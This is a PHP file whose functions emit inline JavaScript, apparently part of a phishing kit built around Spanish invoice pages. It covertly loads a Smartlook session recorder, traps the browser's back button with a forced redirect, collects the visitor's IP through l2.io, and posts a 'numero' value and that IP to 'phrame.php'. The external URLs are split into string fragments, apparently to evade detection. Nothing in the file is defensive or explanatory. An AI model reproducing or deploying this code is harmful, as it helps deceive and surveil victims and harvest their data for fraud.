<?php
if (!defined('APP_LOADED')) exit;

function render_tracker() {
    $sid = '0bc2db22520beec93a3e58921ee05accb08d9eff';
    $sdk = 'https://web-' . 'sdk.smartlook' . '.com/recorder.js';
    $out  = '!function(d){var o=window.smartlook=function(){o.api.push(arguments)},';
    $out .= 'h=d.getElementsByTagName("head")[0],c=d.createElement("script");';
    $out .= 'o.api=[];c.async=!0;c.type="text/javascript";c.charset="utf-8";';
    $out .= 'c.src="' . $sdk . '";h.appendChild(c)}(document);';
    $out .= 'smartlook("init","' . $sid . '",{region:"eu"});';
    $out .= 'history.pushState(null,null,location.href);';
    $out .= 'window.onpopstate=function(){window.location.replace("../index.php")}';
    return $out;
}

function render_actions($num) {
    $tgt = 'phrame.php';
    $bck = './facturas.php';
    $out  = 'var d=document;';
    $out .= 'd.getElementById("b1").addEventListener("click",function(){';
    $out .= 'var f=d.createElement("form");f.method="post";f.action="' . $tgt . '";';
    $out .= 'var n=d.createElement("input");n.type="hidden";n.name="numero";';
    $out .= 'n.value="' . $num . '";f.appendChild(n);';
    $out .= 'var x=d.createElement("input");x.type="hidden";';
    $out .= 'x.name="ip_del_visitante";';
    $out .= 'x.value=(typeof myip!=="undefined")?myip:"";';
    $out .= 'f.appendChild(x);d.body.appendChild(f);f.submit()});';
    $out .= 'd.getElementById("b2").addEventListener("click",function(){';
    $out .= 'window.location.href="' . $bck . '"});';
    return $out;
}

function get_ip_script() {
    return 'https://l2' . '.io/ip' . '.js?var=myip';
}

function get_font_import() {
    return '@import url(https://fonts.google' . 'apis.com/css?family=Open+Sans&display=swap)';
}
